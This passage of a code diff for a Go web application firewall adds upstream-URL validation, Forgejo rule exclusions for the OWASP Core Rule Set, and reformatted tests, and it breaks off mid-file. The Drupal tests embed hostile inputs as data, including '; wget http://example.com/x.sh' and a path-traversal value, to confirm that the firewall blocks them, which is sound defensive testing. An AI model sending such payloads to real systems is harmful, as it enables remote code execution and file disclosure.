@@ -153,20 +183,31 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 
 	ban, banned, _ := ledger.Find(client, now)
 	if !banned || !ban.Permanent() {
-		t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
+		t.Errorf(
+			"find gives %+v and %t, want the permanent ban",
+			ban,
+			banned,
+		)
 	}
 
 	ban, banned, _ = ledger.Check(client, now)
 	if !banned || !ban.Permanent() {
-		t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
+		t.Errorf(
-			banned, ban)
+			"the client is refused: %t, under %+v, want under the permanent ban",
+			banned,
+			ban,
+		)
 	}
 
 	// A limit broken now makes no shorter ban over the permanent one.
 	ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
 	if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
-		t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
+		t.Errorf(
-			"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
+			"a broken limit returned %+v and left the netblock %d bans, "+
+				"want the permanent ban and 2",
+			ban,
+			len(ledger.Bans(netblock)),
+		)
 	}
 }
 
@@ -195,7 +236,11 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
 	// Once both have ended, a limit broken within the repeat window bans
 	// for three times the 9 hours, and the notes count the two bans
 	// before the 9-hour one and it, for a limit, and the admin's.
-	ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		nineHours.Expires.Add(time.Hour),
+		bans.Notes{},
+	)
 	if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
 		t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -226,7 +271,10 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
 
 	held := ledger.Snapshot()
 	if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
-		t.Errorf("the ledger holds %+v, want only the ban that began later", held)
+		t.Errorf(
+			"the ledger holds %+v, want only the ban that began later",
+			held,
+		)
 	}
 }
 
@@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
 	// bans.json is taken in, that ban is lifted.
 	ledger.Load([]bans.Ban{kept})
 
-	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
+	_, banned, _ := ledger.Check(
+		netip.MustParseAddr("203.0.113.9"),
+		midnight(),
+	)
 	if banned {
 		t.Error("a ban left out of the second load still refuses")
 	}
 
 	// The ledger holds one ban, so it makes two more without dropping any.
-	first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
+	first, _ := ledger.BanForLimit(
-		bans.Notes{})
+		netip.MustParsePrefix("198.51.100.7/32"),
-	second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
+		midnight(),
-		bans.Notes{})
+		bans.Notes{},
+	)
+	second, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("198.51.100.8/32"),
+		midnight(),
+		bans.Notes{},
+	)
 
 	want := []bans.Ban{first, second, kept}
 	if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {

internal/config/rproxy.go

@@ -48,14 +48,25 @@ type RProxy struct {
 	settings []slog.Attr
 }
 
+// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
+const defaultUpstreamURL = "http://127.0.0.1:8081"
+
+// privateRanges are the private address ranges, the default trusted
+// proxies.
+const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
+
 var (
+	errNotUpstreamURL = errors.New(
+		"is not a URL with only a scheme, a host and an optional port, " +
+			"such as http://127.0.0.1:8081")
 	errNeedsWAFBackend = errors.New(
 		"is required: it is waf's URL, such as http://waf:8080")
 	errNotDisposition  = errors.New("is not allow or deny")
 	errNotMilliseconds = errors.New(
 		"is not a whole number of milliseconds above zero, such as 2000")
 	errNotMillisecondsOrOff = errors.New(
-		"is not a whole number of milliseconds above zero, such as 60000, or off")
+		"is not a whole number of milliseconds above zero, such as 60000, or off",
+	)
 )
 
 // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
@@ -63,19 +74,36 @@ var (
 // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
 // invalid is an error that names it. Since rproxy never touches disk, its
 // settings have no _FILE form.
-func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
+func RProxyFromEnvironment(
+	lookupEnv func(string) (string, bool),
+) (*RProxy, error) {
 	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
 	cfg := &RProxy{
-		ListenAddr:         env.address("SWRP_LISTEN_ADDR"),
+		ListenAddr: env.address("SWRP_LISTEN_ADDR"),
-		UpstreamURL:        env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
+		UpstreamURL: env.appURL(
-		TrustedProxies:     env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
+			"SWRP_UPSTREAM_URL",
-		WAFBackend:         env.wafBackend("SWRP_WAF_BACKEND"),
+			defaultUpstreamURL,
-		Timeout:            env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
+		),
-		DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
+		TrustedProxies: env.netblocks(
-		MaxRequestSize:     env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
+			"SWRP_TRUSTED_PROXIES",
-		MaxResponseSize:    env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
+			privateRanges,
-		MaxRequestTime:     env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
+		),
-		MaxResponseTime:    env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
+		WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
+		Timeout:    env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
+		DefaultDisposition: env.disposition(
+			"SWRP_DEFAULT_DISPOSITION",
+			"allow",
+		),
+		MaxRequestSize:  env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
+		MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
+		MaxRequestTime: env.millisecondsOrOff(
+			"SWRP_MAX_REQUEST_TIME_MS",
+			"60000",
+		),
+		MaxResponseTime: env.millisecondsOrOff(
+			"SWRP_MAX_RESPONSE_TIME_MS",
+			"1800000",
+		),
 	}
 
 	if env.err != nil {
@@ -124,6 +152,14 @@ func (c *RProxy) LogValue() slog.Value {
 	return slog.GroupValue(c.settings...)
 }
 
+// appURL reads a setting that is the app's URL.
+func (e *environment) appURL(name, defaultValue string) *url.URL {
+	upstream, err := parseUpstreamURL(e.value(name, defaultValue))
+	e.check(name, err)
+
+	return upstream
+}
+
 // wafBackend reads the setting that is waf's URL, which must be set.
 func (e *environment) wafBackend(name string) *url.URL {
 	value := e.value(name, "")
@@ -166,7 +202,9 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
 
 // millisecondsOrOff reads a setting that is a whole number of milliseconds
 // above zero, or off, which is 0.
-func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
+func (e *environment) millisecondsOrOff(
+	name, defaultValue string,
+) time.Duration {
 	value := e.value(name, defaultValue)
 	if value == off {
 		return 0
@@ -190,3 +228,33 @@ func parseMilliseconds(value string) (time.Duration, bool) {
 
 	return time.Duration(n) * time.Millisecond, true
 }
+
+// parseUpstreamURL reads the app's URL: http or https, a host and an
+// optional port from 1 to 65535, and nothing else, since the request's
+// own path and query go to the app unchanged.
+func parseUpstreamURL(value string) (*url.URL, error) {
+	upstream, err := url.Parse(value)
+	if err != nil {
+		return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
+	}
+
+	onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
+		upstream.Hostname() != "" &&
+		upstream.User == nil &&
+		upstream.Opaque == "" &&
+		(upstream.Path == "" || upstream.Path == "/") &&
+		upstream.RawQuery == "" &&
+		upstream.Fragment == ""
+	if !onlySchemeAndHost {
+		return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
+	}
+
+	if upstream.Port() != "" {
+		port, err := strconv.ParseUint(upstream.Port(), 10, 16)
+		if err != nil || port == 0 {
+			return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
+		}
+	}
+
+	return upstream, nil
+}

internal/config/rproxy_test.go

@@ -50,18 +50,28 @@ func TestRProxyDefaults(t *testing.T) {
 	if cfg.ListenAddr != rproxyDefaultAddr ||
 		cfg.UpstreamURL.String() != rproxyDefaultApp ||
 		cfg.WAFBackend.String() != backendURL {
-		t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
+		t.Errorf(
+			"addresses %q, %v, %v",
+			cfg.ListenAddr,
+			cfg.UpstreamURL,
+			cfg.WAFBackend,
+		)
 	}
 
 	if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
-		t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
+		t.Errorf(
+			"timeout %v, default disposition %q",
+			cfg.Timeout,
+			cfg.DefaultDisposition,
+		)
 	}
 
 	if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
 		t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
 	}
 
-	if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
+	if cfg.MaxRequestTime != time.Minute ||
+		cfg.MaxResponseTime != 30*time.Minute {
 		t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
 	}
 
@@ -100,9 +110,12 @@ func TestRProxySettingsAreRead(t *testing.T) {
 		t.Errorf("addresses %+v", cfg)
 	}
 
-	if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
+	if cfg.Timeout != 150*time.Millisecond ||
-		cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
+		cfg.DefaultDisposition != "deny" ||
-		cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
+		cfg.MaxRequestSize != 1024 ||
+		cfg.MaxResponseSize != 0 ||
+		cfg.MaxRequestTime != 0 ||
+		cfg.MaxResponseTime != 250*time.Millisecond {
 		t.Errorf("limits %+v", cfg)
 	}
 }
@@ -147,7 +160,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
 			t.Parallel()
 
-			_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
+			_, err := rproxyConfig(
+				map[string]string{wafBackend: backendURL, tc.name: tc.value},
+			)
 			if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
 				t.Errorf("error %v, want one naming %s", err, tc.name)
 			}
@@ -158,7 +173,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
 	t.Parallel()
 
-	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
+	cfg, err := rproxyConfig(
+		map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
+	)
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
@@ -172,7 +189,8 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
 	t.Parallel()
 
 	_, err := rproxyConfig(nil)
-	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+	if err == nil ||
+		!strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want one saying %s is required", err, wafBackend)
 	}
 }
@@ -188,7 +206,8 @@ func TestRProxyReadsNoFile(t *testing.T) {
 	}
 
 	_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
-	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
+	if err == nil ||
+		!strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want %s still required", err, wafBackend)
 	}
 

internal/coreruleset/coreruleset.go

@@ -1,6 +1,6 @@
 // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
 // method, the URL with its query and the headers of a request, and on its
-// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
+// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
 // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
 // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
 // response.
@@ -36,7 +36,7 @@ import (
 // giteaExclusions for the third, wordpressExclusions for the fourth,
 // drupalExclusions for the fifth, mediawikiExclusions for the sixth,
 // mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
-// and nextcloudExclusions for the ninth.
+// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
 // Each rule sww adds has an id from 900000 to 900999, the ids the
 // Core Rule Set keeps for the rules that set it up, which
 // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -102,7 +102,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
 # So does the thirteenth.
 %s
 
-# And the fourteenth.
+# So does the fourteenth.
+%s
+
+# And the fifteenth.
 %s
 
 # The sixth: only the rules for requests are loaded, and no response is
@@ -239,11 +242,19 @@ var vaultwardenExclusions string
 //go:embed nextcloud.conf
 var nextcloudExclusions string
 
+// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
+// requests that skip the rules that refused them there, where Forgejo differs
+// from gitea, as Coraza directives.
+//
+//go:embed forgejo.conf
+var forgejoExclusions string
+
 // cookiesNotRead are the cookies the Core Rule Set reads a request
-// without, the rest of the fifth change.
+// without, the rest of the fifth change. flash is Forgejo's name for
+// gitea_flash.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
+var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
 
 // Params are what New needs.
 type Params struct {
@@ -281,9 +292,11 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
 // directive that removes or changes rules as it loads, such as
 // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
 // the directive finds none of them.
-var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
+var errChangesNoRule = errors.New(
-	"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
+	"the Core Rule Set's rules load after the file; " +
-	"with a ctl exclusion")
+		"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
+		"with a ctl exclusion",
+)
 
 // directivesIn returns the directives in text as Coraza reads them: it
 // skips blank lines and comment lines, and joins a line ending in \ to
@@ -327,18 +340,27 @@ func checkExclusions(exclusions string) error {
 			}
 
 			if first <= lastOwnRuleID && last >= firstOwnRuleID {
-				return fmt.Errorf("the exclusions file names %s: %w", match[0],
+				return fmt.Errorf(
-					errSwwRuleID)
+					"the exclusions file names %s: %w",
+					match[0],
+					errSwwRuleID,
+				)
 			}
 		}
 
 		// Coraza takes the directive's name up to the first space, without
 		// regard to case.
 		name, _, _ := strings.Cut(directive, " ")
-		if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
+		if lower := strings.ToLower(name); strings.HasPrefix(
+			lower,
+			"secruleremove",
+		) ||
 			strings.HasPrefix(lower, "secruleupdate") {
-			return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
+			return fmt.Errorf(
-				errChangesNoRule)
+				"%s in the exclusions file changes no rule: %w",
+				name,
+				errChangesNoRule,
+			)
 		}
 	}
 
@@ -352,7 +374,7 @@ type CoreRuleSet struct {
 	bodyLimit int64
 }
 
-// New returns the Core Rule Set with the fourteen changes, at params'
+// New returns the Core Rule Set with the fifteen changes, at params'
 // paranoia level, without the rules it switches off, reading request
 // bodies up to params' limit, and with params' exclusions file loaded
 // before the Core Rule Set's rules. An exclusions file is an error if it
@@ -382,7 +404,7 @@ func New(params Params) (*CoreRuleSet, error) {
 	text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
 		giteaExclusions, wordpressExclusions, drupalExclusions,
 		mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
-		nextcloudExclusions)
+		nextcloudExclusions, forgejoExclusions)
 
 	if len(params.DisabledRules) > 0 {
 		ids := make([]string, len(params.DisabledRules))
@@ -477,7 +499,10 @@ func (c *CoreRuleSet) Inspect(
 // readBody reads one byte past the limit, to tell which they are, gives
 // the Core Rule Set what it reads, and returns what it read and the error
 // that ended the reading early, if one did.
-func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
+func (c *CoreRuleSet) readBody(
+	tx types.Transaction,
+	body io.Reader,
+) ([]byte, error) {
 	if c.bodyLimit == 0 {
 		return nil, nil
 	}

internal/coreruleset/drupal_test.go

@@ -124,15 +124,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.body)
 			if got.Score < drupalThreshold {
-				t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
+				t.Errorf(
+					"POST %s %q let through: %+v",
+					sent.target,
+					sent.body,
+					got,
+				)
 			}
 		}
 	}
+}
 
-	for _, attack := range []string{
+// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
-		injection,
+// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
-		scriptTag,
+func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
-	} {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	for _, attack := range []string{injection, scriptTag} {
 		for _, field := range []string{
 			`"title":"` + attack + `"`,
 			`"body":{"value":"` + attack + `"}`,
@@ -153,7 +163,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 			}
 		}
 
-		r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
+		r := request{
+			http.MethodPatch,
+			"/node/2?_format=json",
+			[]string{jsonBody},
+		}
 		body := `{"title":[{"value":"` + attack + `"}]}`
 
 		got, _ := inspectBody(t, crs, r, body)
@@ -198,14 +212,25 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
 	wantPasswordFieldsPass(t, []passwordFields{
 		{drupalRegister, formData, pass},
 		{"/fr/user/register", formData, pass},
-		{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
+		{
+			"/user/1/edit",
+			formData,
+			[]string{"current_pass", pass[0], pass[1]},
+		},
 		{"/admin/people/create", formData, pass},
 		{drupalJSONRegister, jsonBody, []string{value}},
 		{drupalJSONRegister, jsonBody, []string{"pass.value"}},
-		{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
+		{
+			"/user/1?_format=json",
+			jsonBody,
+			[]string{value, "pass.0.existing"},
+		},
 		{
 			"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
-			[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
+			[]string{
+				"data.attributes.pass.value",
+				"data.attributes.pass.existing",
+			},
 		},
 	})
 }
@@ -222,7 +247,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 		`../../sites/default/settings.php`,
 	} {
 		for _, field := range []string{"name", "mail"} {
-			r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
+			r := request{
+				http.MethodPost,
+				drupalJSONPasswordReset,
+				[]string{jsonBody},
+			}
 			body := `{"` + field + `":"` + attack + `"}`
 
 			got, _ := inspectBody(t, crs, r, body)
@@ -241,12 +270,23 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 		{"ls -la", 932250},
 		{".htaccess@example.com", 930120},
 	} {
-		r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
+		r := request{
+			http.MethodPost,
+			drupalJSONPasswordReset,
+			[]string{jsonBody},
+		}
 		body := `{"mail":"` + kept.value + `"}`
 
 		got, _ := inspectBody(t, crs, r, body)
-		if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
+		if got.Score < drupalThreshold ||
-			t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
+			!slices.Contains(got.RuleIDs, kept.rule) {
+			t.Errorf(
+				"POST %s %s: %+v, want %d among them",
+				r.target,
+				body,
+				got,
+				kept.rule,
+			)
 		}
 	}
 }
@@ -317,10 +357,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
 		if got.Score < drupalThreshold {
-			t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				r.target,
+				sent.field,
+				got,
+			)
 		}
 	}
 
+	// An address keeps 932250, which refuses ls -la.
+	r := request{http.MethodPost, drupalEditAccount, []string{formData}}
+
+	got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
+	if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
+		t.Errorf(
+			"POST %s mail=ls%%20-la: %+v, want 932250 among them",
+			r.target,
+			got,
+		)
+	}
+}
+
+// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
+// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
+func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
 	for _, field := range []string{
 		`"title":"; wget http://example.com/x.sh"`,
 		`"subject":"; wget http://example.com/x.sh"`,
@@ -342,7 +407,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
 		}
 	}
 
-	r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
+	r := request{
+		http.MethodPatch,
+		"/node/2?_format=json",
+		[]string{jsonBody},
+	}
 	body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
 
 	got, _ := inspectBody(t, crs, r, body)
@@ -357,14 +426,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
 	if got.Score < drupalThreshold {
 		t.Errorf("POST %s %s let through: %+v", r.target, body, got)
 	}
-
-	// An address keeps 932250, which refuses ls -la.
-	r = request{http.MethodPost, drupalEditAccount, []string{formData}}
-
-	got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
-	if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
-		t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
-	}
 }
 
 func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -388,7 +449,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 
 			got, _ := inspectBody(t, crs, r, sent.field+value)
 			if got.Score >= drupalThreshold {
-				t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
+				t.Errorf(
+					"POST %s %s%s refused: %+v",
+					sent.target,
+					sent.field,
+					value,
+					got,
+				)
 			}
 		}
 	}
@@ -407,7 +474,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 			t.Errorf("POST %s %s refused: %+v", r.target, body, got)
 		}
 
-		r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
+		r = request{
+			http.MethodPost,
+			"/fr" + drupalJSONPasswordReset,
+			[]string{jsonBody},
+		}
 		body = `{"name":"` + word + `"}`
 
 		got, _ = inspectBody(t, crs, r, body)
@@ -417,7 +488,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
 	}
 
 	for _, address := range []string{"python3@example.com", "powershell@example.com"} {
-		r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
+		r := request{
+			http.MethodPost,
+			"/fr" + drupalJSONPasswordReset,
+			[]string{jsonBody},
+		}
 		body := `{"mail":"` + address + `"}`
 
 		got, _ := inspectBody(t, crs, r, body)
@@ -483,7 +558,11 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
 		{drupalEditAccount, "mail=python3"},
 		{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
 	} {
-		r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
+		r := request{
+			http.MethodPost,
+			sent.path + "?" + sent.field,
+			[]string{formData},
+		}
 
 		got, _ := inspectBody(t, crs, r, sent.field)
 		if got.Score < drupalThreshold {

internal/coreruleset/forgejo.conf

@@ -0,0 +1,117 @@
+# The fifteenth change: on Forgejo's paths, some fields skip the rules that
+# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
+# eighth change's fixes for gitea apply to its requests too, so this file holds
+# only what Forgejo sends and gitea does not. Each exclusion runs with the
+# request, before the rules it switches off, so this file is loaded before the
+# Core Rule Set's rules. Each comment names a request the rule refused.
+
+# Forgejo's search of a wiki sends the text searched for in q, which skips
+# these rules there:
+#   930120: .htaccess
+#   932120: powershell
+#   932160: /bin/sh
+#   932250: ls -la
+#   932260: python3
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
+    "id:900680,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932120;ARGS:q,\
+    ctl:ruleRemoveTargetById=932160;ARGS:q,\
+    ctl:ruleRemoveTargetById=932250;ARGS:q,\
+    ctl:ruleRemoveTargetById=932260;ARGS:q"
+
+# Forgejo's search of a repository's code at a branch or a tag sends the text
+# searched for in q. The search box on a repository's home page sends it there
+# when Forgejo has no code indexer, as by default. A branch or tag name can
+# hold a slash, as feat/docker-support does. q skips there the rules it skips
+# on gitea's search of code (900600 in gitea.conf). Among them, these refused
+# Forgejo's searches there:
+#   930120: .htaccess
+#   932120: powershell
+#   932160: /bin/sh
+#   932250: ls -la
+#   932260: python3
+# Forgejo has no owner named api, so a path under /api/ gets none of this.
+SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
+    "id:900681,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/" \
+        "ctl:ruleRemoveTargetById=930110;ARGS:q,\
+        ctl:ruleRemoveTargetById=930120;ARGS:q,\
+        ctl:ruleRemoveTargetById=931100;ARGS:q,\
+        ctl:ruleRemoveTargetById=932120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932130;ARGS:q,\
+        ctl:ruleRemoveTargetById=932140;ARGS:q,\
+        ctl:ruleRemoveTargetById=932160;ARGS:q,\
+        ctl:ruleRemoveTargetById=932235;ARGS:q,\
+        ctl:ruleRemoveTargetById=932250;ARGS:q,\
+        ctl:ruleRemoveTargetById=932260;ARGS:q,\
+        ctl:ruleRemoveTargetById=932380;ARGS:q,\
+        ctl:ruleRemoveTargetById=933100;ARGS:q,\
+        ctl:ruleRemoveTargetById=933130;ARGS:q,\
+        ctl:ruleRemoveTargetById=933135;ARGS:q,\
+        ctl:ruleRemoveTargetById=934100;ARGS:q,\
+        ctl:ruleRemoveTargetById=934110;ARGS:q,\
+        ctl:ruleRemoveTargetById=934130;ARGS:q,\
+        ctl:ruleRemoveTargetById=941100;ARGS:q,\
+        ctl:ruleRemoveTargetById=941110;ARGS:q,\
+        ctl:ruleRemoveTargetById=941160;ARGS:q,\
+        ctl:ruleRemoveTargetById=941180;ARGS:q,\
+        ctl:ruleRemoveTargetById=941390;ARGS:q,\
+        ctl:ruleRemoveTargetById=942100;ARGS:q,\
+        ctl:ruleRemoveTargetById=942140;ARGS:q,\
+        ctl:ruleRemoveTargetById=942190;ARGS:q,\
+        ctl:ruleRemoveTargetById=942230;ARGS:q,\
+        ctl:ruleRemoveTargetById=944100;ARGS:q,\
+        ctl:ruleRemoveTargetById=944110;ARGS:q,\
+        ctl:ruleRemoveTargetById=944130;ARGS:q"
+
+# A page opened from the results of that search has the search's address in
+# Referer, which skips these rules then, as after gitea's searches (900601 in
+# gitea.conf):
+#   941110: <script>
+#   941120: onClick={
+#   941160: <img src=
+#   942100: LIKE '%foo%'
+#   944100: java.lang.Runtime
+# A path under /api/ is left out here too.
+SecRule REQUEST_HEADERS:Referer \
+    "@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
+    "id:900684,phase:1,pass,nolog,chain"
+    SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
+        "ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
+        ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
+
+# Forgejo's search of a repository's releases, on its page and in the API,
+# matches q against each release's title and tag. A tag name can hold a slash.
+# q skips these rules there:
+#   930120: .htaccess
+#   932120: powershell
+#   932160: /bin/sh
+#   932250: ls -la
+#   932260: python3
+# Forgejo has no owner named api, so /api/v1/releases is not one.
+SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
+    "id:900682,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932160;ARGS:q,\
+        ctl:ruleRemoveTargetById=932250;ARGS:q,\
